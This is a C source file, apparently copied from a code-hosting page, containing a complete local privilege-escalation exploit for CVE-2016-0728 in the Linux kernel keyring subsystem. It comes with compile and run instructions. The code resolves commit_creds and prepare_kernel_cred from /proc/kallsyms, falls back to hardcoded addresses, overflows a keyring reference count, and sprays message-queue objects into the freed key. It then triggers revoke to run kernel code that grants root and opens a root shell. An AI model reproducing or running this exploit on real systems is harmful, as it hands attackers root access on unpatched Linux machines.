212 lines
No EOL
6 KiB
C
212 lines
No EOL
6 KiB
C
/*
|
|
# Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings
|
|
# Date: 19/1/2016
|
|
# Exploit Author: Perception Point Team
|
|
# CVE : CVE-2016-0728
|
|
*/
|
|
|
|
/* CVE-2016-0728 local root exploit
|
|
modified by Federico Bento to read kernel symbols from /proc/kallsyms
|
|
props to grsecurity/PaX for preventing this in so many ways
|
|
|
|
$ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
|
|
$ ./cve_2016_072 PP_KEY */
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <sys/types.h>
|
|
#include <keyutils.h>
|
|
#include <unistd.h>
|
|
#include <time.h>
|
|
#include <unistd.h>
|
|
|
|
#include <sys/ipc.h>
|
|
#include <sys/msg.h>
|
|
|
|
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
|
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
|
_commit_creds commit_creds;
|
|
_prepare_kernel_cred prepare_kernel_cred;
|
|
|
|
#define STRUCT_LEN (0xb8 - 0x30)
|
|
#define COMMIT_CREDS_ADDR (0xffffffff810bb050)
|
|
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff810bb370)
|
|
|
|
|
|
|
|
struct key_type {
|
|
char * name;
|
|
size_t datalen;
|
|
void * vet_description;
|
|
void * preparse;
|
|
void * free_preparse;
|
|
void * instantiate;
|
|
void * update;
|
|
void * match_preparse;
|
|
void * match_free;
|
|
void * revoke;
|
|
void * destroy;
|
|
};
|
|
|
|
/* thanks spender - Federico Bento */
|
|
static unsigned long get_kernel_sym(char *name)
|
|
{
|
|
FILE *f;
|
|
unsigned long addr;
|
|
char dummy;
|
|
char sname[256];
|
|
int ret;
|
|
|
|
f = fopen("/proc/kallsyms", "r");
|
|
if (f == NULL) {
|
|
fprintf(stdout, "Unable to obtain symbol listing!\n");
|
|
exit(0);
|
|
}
|
|
|
|
ret = 0;
|
|
while(ret != EOF) {
|
|
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
|
if (ret == 0) {
|
|
fscanf(f, "%s\n", sname);
|
|
continue;
|
|
}
|
|
if (!strcmp(name, sname)) {
|
|
fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);
|
|
fclose(f);
|
|
return addr;
|
|
}
|
|
}
|
|
|
|
fclose(f);
|
|
return 0;
|
|
}
|
|
|
|
void userspace_revoke(void * key) {
|
|
commit_creds(prepare_kernel_cred(0));
|
|
}
|
|
|
|
int main(int argc, const char *argv[]) {
|
|
const char *keyring_name;
|
|
size_t i = 0;
|
|
unsigned long int l = 0x100000000/2;
|
|
key_serial_t serial = -1;
|
|
pid_t pid = -1;
|
|
struct key_type * my_key_type = NULL;
|
|
|
|
struct {
|
|
long mtype;
|
|
char mtext[STRUCT_LEN];
|
|
} msg = {0x4141414141414141, {0}};
|
|
int msqid;
|
|
|
|
if (argc != 2) {
|
|
puts("usage: ./keys <key_name>");
|
|
return 1;
|
|
}
|
|
|
|
printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());
|
|
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
|
|
prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
|
|
if(commit_creds == NULL || prepare_kernel_cred == NULL) {
|
|
commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
|
|
prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
|
|
if(commit_creds == (_commit_creds)0xffffffff810bb050 || prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
|
|
puts("[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source");
|
|
}
|
|
|
|
my_key_type = malloc(sizeof(*my_key_type));
|
|
|
|
my_key_type->revoke = (void*)userspace_revoke;
|
|
memset(msg.mtext, 'A', sizeof(msg.mtext));
|
|
|
|
// key->uid
|
|
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
|
|
//key->perm
|
|
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
|
|
|
|
//key->type
|
|
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
|
|
|
|
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
|
|
perror("msgget");
|
|
exit(1);
|
|
}
|
|
|
|
keyring_name = argv[1];
|
|
|
|
/* Set the new session keyring before we start */
|
|
|
|
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
|
|
if (serial < 0) {
|
|
perror("keyctl");
|
|
return -1;
|
|
}
|
|
|
|
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
|
|
perror("keyctl");
|
|
return -1;
|
|
}
|
|
|
|
|
|
puts("[+] Increfing...");
|
|
for (i = 1; i < 0xfffffffd; i++) {
|
|
if (i == (0xffffffff - l)) {
|
|
l = l/2;
|
|
sleep(5);
|
|
}
|
|
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
|
|
perror("[-] keyctl");
|
|
return -1;
|
|
}
|
|
}
|
|
sleep(5);
|
|
/* here we are going to leak the last references to overflow */
|
|
for (i=0; i<5; ++i) {
|
|
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
|
|
perror("[-] keyctl");
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
puts("[+] Finished increfing");
|
|
puts("[+] Forking...");
|
|
/* allocate msg struct in the kernel rewriting the freed keyring object */
|
|
for (i=0; i<64; i++) {
|
|
pid = fork();
|
|
if (pid == -1) {
|
|
perror("[-] fork");
|
|
return -1;
|
|
}
|
|
|
|
if (pid == 0) {
|
|
sleep(2);
|
|
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
|
|
perror("[-] msgget");
|
|
exit(1);
|
|
}
|
|
for (i = 0; i < 64; i++) {
|
|
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
|
|
perror("[-] msgsnd");
|
|
exit(1);
|
|
}
|
|
}
|
|
sleep(-1);
|
|
exit(1);
|
|
}
|
|
}
|
|
|
|
puts("[+] Finished forking");
|
|
sleep(5);
|
|
|
|
/* call userspace_revoke from kernel */
|
|
puts("[+] Caling revoke...");
|
|
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
|
|
perror("[+] keyctl_revoke");
|
|
}
|
|
|
|
printf("uid=%d, euid=%d\n", getuid(), geteuid());
|
|
execl("/bin/sh", "/bin/sh", NULL);
|
|
|
|
return 0;
|
|
} |